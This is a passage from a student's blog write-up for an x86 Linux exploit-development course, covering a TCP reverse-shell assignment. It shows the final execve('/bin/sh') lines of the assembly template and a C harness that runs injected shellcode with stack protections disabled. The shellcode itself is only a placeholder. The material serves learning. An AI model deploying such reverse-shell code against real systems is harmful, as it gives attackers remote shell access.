; now we look like: execve("//bin/sh,0x00000000", *"//bin/sh,0x00000000", 0x00000000);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; loading syscall execve
mov al, 0x0B    ; syscall for execve is 11 dec / 0x0B hex
int 0x80
https://github.com/securitychops/security-tube-slae32/blob/master/assignment-2/reverse-shell-template.nasm


Final C Program To Execute Shellcode

// Student ID   : SLAE-1250
// Student Name : Jonathan "Chops" Crosby
// Assignment 2 : Reverse Shell TCP (Linux/x86) C variant
// File Name    : shellcode.c

#include<stdio.h>
#include<string.h>

//compile with: gcc shellcode.c -o shellcode -fno-stack-protector -z execstack

unsigned char code[] = \
"REPLACE WITH GENERATED shellcode!!!!!!!!!!!!!!oneoneonetwo";

main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}
https://github.com/securitychops/security-tube-slae32/blob/master/assignment-2/shellcode.c

Jonathan Crosby

growing my chops in cybersecurity